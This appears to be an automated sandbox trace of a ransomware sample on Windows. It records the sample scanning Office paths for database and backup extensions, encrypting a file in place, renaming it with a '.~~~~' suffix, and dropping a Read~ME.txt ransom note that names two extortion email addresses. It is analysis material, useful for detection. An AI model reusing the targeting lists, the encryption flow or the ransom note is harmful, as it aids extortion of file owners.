	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DACPAC") returned 0x0
	[0081.194] lstrlenW (lpString=".VHD") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".VHD") returned 0x0
	[0081.194] lstrlenW (lpString=".DBV") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DBV") returned 0x0
	[0081.194] lstrlenW (lpString=".dacpac") returned 7
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dacpac") returned 0x0
	[0081.194] lstrlenW (lpString=".sdf") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".sdf") returned 0x0
	[0081.194] lstrlenW (lpString=".accdb") returned 6
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".accdb") returned 0x0
	[0081.194] lstrlenW (lpString=".DBX") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DBX") returned 0x0
	[0081.194] lstrlenW (lpString=".MDT") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".MDT") returned 0x0
	[0081.195] lstrlenW (lpString=".SQB") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".SQB") returned 0x0
	[0081.195] lstrlenW (lpString=".vhd") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".vhd") returned 0x0
	[0081.195] lstrlenW (lpString=".bac") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".bac") returned 0x0
	[0081.195] lstrlenW (lpString=".mdf") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".mdf") returned 0x0
	[0081.195] lstrlenW (lpString=".BAK") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".BAK") returned 0x0
	[0081.195] lstrlenW (lpString=".BAC") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".BAC") returned 0x0
	[0081.195] lstrlenW (lpString=".dbs") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dbs") returned 0x0
	[0081.195] lstrlenW (lpString=".vhdx") returned 5
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".vhdx") returned 0x0
	[0081.195] lstrlenW (lpString=".NDF") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".NDF") returned 0x0
	[0081.195] lstrlenW (lpString=".dat") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dat") returned 0x0
	[0081.195] lstrlenW (lpString=".DBS") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DBS") returned 0x0
	[0081.195] lstrlenW (lpString=".CKP") returned 4
	[0081.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".CKP") returned 0x0
	[0081.196] lstrlenW (lpString=".edb") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".edb") returned 0x0
	[0081.196] lstrlenW (lpString=".PST") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".PST") returned 0x0
	[0081.196] lstrlenW (lpString=".dbf") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dbf") returned 0x0
	[0081.196] lstrlenW (lpString=".SQL") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".SQL") returned 0x0
	[0081.196] lstrlenW (lpString=".pst") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".pst") returned 0x0
	[0081.196] lstrlenW (lpString=".dbv") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dbv") returned 0x0
	[0081.196] lstrlenW (lpString=".SDF") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".SDF") returned 0x0
	[0081.196] lstrlenW (lpString=".dtxs") returned 5
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dtxs") returned 0x0
	[0081.196] lstrlenW (lpString=".db3") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".db3") returned 0x0
	[0081.196] lstrlenW (lpString=".OST") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".OST") returned 0x0
	[0081.196] lstrlenW (lpString=".dbx") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dbx") returned 0x0
	[0081.196] lstrlenW (lpString=".DB3") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DB3") returned 0x0
	[0081.196] lstrlenW (lpString=".DAT") returned 4
	[0081.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DAT") returned 0x0
	[0081.196] lstrlenW (lpString=".VHDX") returned 5
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".VHDX") returned 0x0
	[0081.197] lstrlenW (lpString=".ndf") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".ndf") returned 0x0
	[0081.197] lstrlenW (lpString=".DB") returned 3
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DB") returned 0x0
	[0081.197] lstrlenW (lpString=".sql") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".sql") returned 0x0
	[0081.197] lstrlenW (lpString=".MYD") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".MYD") returned 0x0
	[0081.197] lstrlenW (lpString=".DBT") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DBT") returned 0x0
	[0081.197] lstrlenW (lpString=".ACCDB") returned 6
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".ACCDB") returned 0x0
	[0081.197] lstrlenW (lpString=".fdb") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".fdb") returned 0x0
	[0081.197] lstrlenW (lpString=".bak") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".bak") returned 0x0
	[0081.197] lstrlenW (lpString=".myd") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".myd") returned 0x0
	[0081.197] lstrlenW (lpString=".DTXS") returned 5
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DTXS") returned 0x0
	[0081.197] lstrlenW (lpString=".ckp") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".ckp") returned 0x0
	[0081.197] lstrlenW (lpString=".dbt") returned 4
	[0081.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dbt") returned 0x0
	[0081.197] lstrlenW (lpString=".db") returned 3
	[0081.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".db") returned 0x0
	[0081.198] lstrlenW (lpString=".TXT") returned 4
	[0081.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".TXT") returned 0x0
	[0081.198] lstrlenW (lpString=".MDF") returned 4
	[0081.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".MDF") returned 0x0
	[0081.198] lstrlenW (lpString=".bdb") returned 4
	[0081.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".bdb") returned 0x0
	[0081.198] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.198] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0081.199] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.199] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.199] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20118947959) returned 1
	[0081.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a3ff1d0, dwHighDateTime=0x1d60e1e)) 
	[0081.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faaf8
	[0081.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faaf8 | out: hHeap=0x300000) returned 1
	[0081.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.200] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0081.200] GetLastError () returned 0x0
	[0081.200] GetLastError () returned 0x0
	[0081.200] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0081.201] GetLastError () returned 0x0
	[0081.201] GetLastError () returned 0x0
	[0081.201] ReadFile (in: hFile=0x128, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0x5b1, lpOverlapped=0x0) returned 1
	[0081.203] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffa4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.203] WriteFile (in: hFile=0x128, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0x5b1, lpOverlapped=0x0) returned 1
	[0081.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0081.203] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.203] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.203] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.203] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.204] CloseHandle (hObject=0x128) returned 1
	[0081.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800038
	[0081.204] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.~~~~")) returned 1
	[0081.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800038 | out: hHeap=0x300000) returned 1
	[0081.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.205] GetLastError () returned 0x0
	[0081.205] RtlWakeConditionVariable () returned 0x365f70
	[0081.205] GetCurrentThreadId () returned 0xaf0
	[0081.205] GetCurrentThreadId () returned 0xaf0
	[0081.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800038
	[0081.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28004c0 | out: hHeap=0x300000) returned 1
	[0081.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faac0 | out: hHeap=0x300000) returned 1
	[0081.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28004c0
	[0081.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.205] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.205] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.339] CloseHandle (hObject=0x128) returned 1
	[0081.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28004c0 | out: hHeap=0x300000) returned 1
	[0081.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800038 | out: hHeap=0x300000) returned 1
	[0081.340] RtlWakeConditionVariable () returned 0x365f70
	[0081.340] GetCurrentThreadId () returned 0xaf0
	[0081.340] GetCurrentThreadId () returned 0xaf0
	[0081.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800038
	[0081.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0081.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe0c0 | out: hHeap=0x300000) returned 1
	[0081.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0081.340] lstrlenW (lpString=".scr") returned 4
	[0081.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.340] lstrlenW (lpString=".cmd") returned 4
	[0081.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.340] lstrlenW (lpString=".dll") returned 4
	[0081.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.340] lstrlenW (lpString=".bat") returned 4
	[0081.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.340] lstrlenW (lpString=".cpl") returned 4
	[0081.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.341] lstrlenW (lpString=".sys") returned 4
	[0081.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.341] lstrlenW (lpString=".msc") returned 4
	[0081.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.341] lstrlenW (lpString=".com") returned 4
	[0081.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.341] lstrlenW (lpString=".lnk") returned 4
	[0081.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.341] lstrlenW (lpString=".msp") returned 4
	[0081.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.341] lstrlenW (lpString=".pif") returned 4
	[0081.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.341] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.432] lstrlenW (lpString=".sqb") returned 4
	[0081.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.432] lstrlenW (lpString=".ost") returned 4
	[0081.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.433] lstrlenW (lpString=".txt") returned 4
	[0081.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.434] lstrlenW (lpString=".mdt") returned 4
	[0081.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.434] lstrlenW (lpString=".BDB") returned 4
	[0081.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.434] lstrlenW (lpString=".eql") returned 4
	[0081.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.434] lstrlenW (lpString=".DBF") returned 4
	[0081.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.434] lstrlenW (lpString=".EQL") returned 4
	[0081.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.434] lstrlenW (lpString=".FDB") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.435] lstrlenW (lpString=".EDB") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.435] lstrlenW (lpString=".DACPAC") returned 7
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.435] lstrlenW (lpString=".VHD") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.435] lstrlenW (lpString=".DBV") returned 4
